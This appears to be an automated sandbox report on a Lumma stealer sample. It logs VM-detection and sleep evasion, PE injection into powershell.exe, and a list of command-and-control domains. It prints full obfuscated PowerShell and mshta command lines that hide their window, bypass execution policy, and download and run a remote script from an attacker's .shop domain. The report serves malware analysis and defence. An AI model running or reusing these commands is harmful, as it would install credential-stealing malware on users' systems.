Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Memory allocated: 26A56910000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Memory allocated: 26A703E0000 memory reserve \| memory write watch

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4487	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5327	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1201	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1459	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2681	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3826	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5855	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7395	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7448	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7564	Thread sleep count: 1201 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep count: 323 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7584	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep count: 1459 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep count: 2681 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7524	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 336	Thread sleep count: 7395 > 30	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000013.00000002.3698386324.0000000003514000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3695295906.00000000034DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000D.00000002.2211693774.0000000007121000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

API call chain: ExitProcess graph end node

graph_19-14577

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 19_2_0043FC20 LdrInitializeThunk,

19_2_0043FC20

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi32_7604.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_7700.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7700, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))"

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ArgumentList "-w hidden -ep bypass -nop -Command `"iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))`"" -WindowStyle Hidden
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ArgumentList "-w hidden -ep bypass -nop -Command `"iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))`"" -WindowStyle Hidden	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: powershell.exe	String found in binary or memory: robinsharez.shop
Source: powershell.exe	String found in binary or memory: handscreamny.shop
Source: powershell.exe	String found in binary or memory: chipdonkeruz.shop
Source: powershell.exe	String found in binary or memory: versersleep.shop
Source: powershell.exe	String found in binary or memory: crowdwarek.shop
Source: powershell.exe	String found in binary or memory: apporholis.shop
Source: powershell.exe	String found in binary or memory: femalsabler.shop
Source: powershell.exe	String found in binary or memory: soundtappysk.shop
Source: powershell.exe	String found in binary or memory: quinceisoz.cam

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWR3QmxBR0lBTGdCckFHd0FhUUJ3QUdRQWVRQjNBRzhBZWdCcEFIa0FMZ0J6QUdnQWJ3QndBQzhBYXdCMUFHNEFiZ0JoQUhJQUxnQndBRzRBWndBbkFDa0FLUUJnQUNJQUlnQWdBQzBBVndCcEFHNEFaQUJ2QUhjQVV3QjBBSGtBYkFCbEFDQUFTQUJwQUdRQVpBQmxBRzRBOy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBLeUdZclVVRCgpe2Z1bmN0aW9uIGV6cENNZGhHUSgkckhQZWIpe2lmKCEoVGVzdC1QYXRoIC1QYXRoICRUaEJFWHBpVk8pKXtjdXJsIChLRmJDICRySFBlYikgLW8gJFRoQkVYcGlWT319fUt5R1lyVVVEOw==')))	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -ep unrestricted -w 1 sc $env:temp\a.ps1 ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('znvuy3rpb24gs0ziqygks3lhwxjvvuqpew0kkcgks3lhwxjvvuqglxnwbgl0iccopzw9xeculiknfcv7jevkdxauu3viu3ryaw5nkdmsmtawkvskx119ksaglwpvaw4gjycglxjlcgxhy2ugii4kiil9oyrfsnvwid0nawv4bxz7du4xautgzsjbt0v1vnk1im9zezzqbfbhlzphyjrjwi5pyjjxltdxo0nksfxneff3l016skfqcnqzqdzcfurojx5ubluoftbrc3nfacvoswzrkwm5wew4ncnaunltkm9hcdy1mdk1odm0ndewotm2ndmynda2mdk2otu4jw==')));cmd.exe /k start powershell -w 1 ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('cg93zxjzagvsbcatzw5jifv3qjbbr0vby2dcmefdmefvquj5quc4qvl3qmxbse1by3dbz0fdsufrd0e2quz3qvz3qnbbrzrbwkfcdkfiy0fjd0jjquznqwvrqnpbrmnbyndcm0fewufoqujjquzjqwfrqnvbr1fbyndcm0fitufvquj2quhjqvprqnlbrk1byufcbefhd0fiqujjquhzqu1rqxvbrefbwefcd0fhoefkd0jsquhjqwn3qm9br1vbykfcc0fdnefauui0qudvqulnqwdbqzbbuvfceufhy0fkuuj0qudvqwjnqjbbrxdbyvfcekfiuufjqufpqumwqwr3qwdbr2dbyvfca0fhuufauuj1qunbquxrqmxbsefbsufcaufia0fjqujoquhnqwn3qwdbqzbbymdcdkfiqufjquf0quvnqwj3qnrbrzbbwvfcdufhuufjqujnqunjqwfrqmxbsgdbsufbb0fdz0fuz0jsquhjquxrqlbbr0lbywdcbefhtufkqufnquznqwvrqnpbsffbwlfcdefdnefuz0jsquhrquxnqlhbr1vbwwdcrefhd0fhuujsquc0qwrbqxbbqzrbukfcdkfiy0fiz0jzquc4qvlrqmtbrk1bzefceufha0fiz0juqunnqup3qm9bsffbzefcd0fitufpz0f2qum4qwr3qmxbr0lbtgdcckfhd0fhuuj3qudrqwvrqjnbrzhbzwdccefia0fmz0j6qudnqwj3qndbqzhbyxdcmufhnefiz0joquhjquxnqndbrzrbwndbbkfda0fluujnqunjqulnqwdbqzbbvndccefhnefaquj2quhjqvv3qjbbsgtbykfcbefdquftqujwqudrqvpbqmxbrzrboy4gjgvudjpuzw1wxgeuchmxoybmdw5jdglvbibleudzclvvrcgpe2z1bmn0aw9uigv6cennzghhusgkckhqzwipe2lmkceovgvzdc1qyxroic1qyxroicruaejfwhbpvk8pkxtjdxjsichlrmjdicrysfblyikglw8gjfroqkvycglwt319fut5r1lyvvveow==')))
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8adwblagialgbragwaaqbwagqaeqb3ag8aegbpahkalgbzaggabwbwac8aawb1ag4abgbhahialgbwag4azwanackakqbgaciaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4a;. $env:temp\a.ps1; function kygyruud(){function ezpcmdhgq($rhpeb){if(!(test-path -path $thbexpivo)){curl (kfbc $rhpeb) -o $thbexpivo}}}kygyruud;"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8adwblagialgbragwaaqbwagqaeqb3ag8aegbpahkalgbzaggabwbwac8aawb1ag4abgbhahialgbwag4azwanackakqbgaciaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4a;. $env:temp\a.ps1; function kygyruud(){function ezpcmdhgq($rhpeb){if(!(test-path -path $thbexpivo)){curl (kfbc $rhpeb) -o $thbexpivo}}}kygyruud;"
